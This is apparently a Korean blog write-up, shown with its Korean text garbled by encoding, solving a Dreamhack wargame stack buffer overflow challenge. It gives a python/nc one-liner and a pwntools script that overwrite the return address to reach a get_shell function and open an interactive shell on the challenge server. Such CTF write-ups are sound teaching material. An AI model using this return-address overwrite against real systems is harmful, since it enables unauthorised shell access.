Host: host1.dreamhack.games
Port: 10469/tcp
1. python ๊ณต๊ฒฉ ์ฝ๋ ์ด์ฉ
(python -c "print('A'*0x30 + 'B'*0x8 + '\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| nc host1.dreamhack.games 10469
2. pwntools ์ด์ฉ
from pwn import *
p = remote('host1.dreamhack.games',10469) # ์๊ฒฉ ์๋ฒ ๋์์ผ๋ก ์ต์คํ๋ก์ ์ํ
context.arch="amd64" # x86-64
payload = 'A' * 0x30
payload += 'B' * 0x08
payload += '\xaa\x06\x40\x00\x00\x00\x00\x00' # get_shell address
p.recvuntil('Input: ')
p.sendline(payload)
p.interactive()
flag ์ป๋ ๋ฐฉ๋ฒ
'Hacking > System Hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[dreamhack] basic_exploitation_001 ๋ฌธ์ ํ์ด (0) | 2022.04.02 |
---|---|
[dreamhack] basic_exploitation_000 ๋ฌธ์ ํ์ด (0) | 2022.04.01 |
์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ ( Stack buffer Overflow ) (0) | 2022.03.31 |
Shellcode ๋? (0) | 2022.03.30 |
pwntools ์ฌ์ฉ๋ฒ (0) | 2022.03.28 |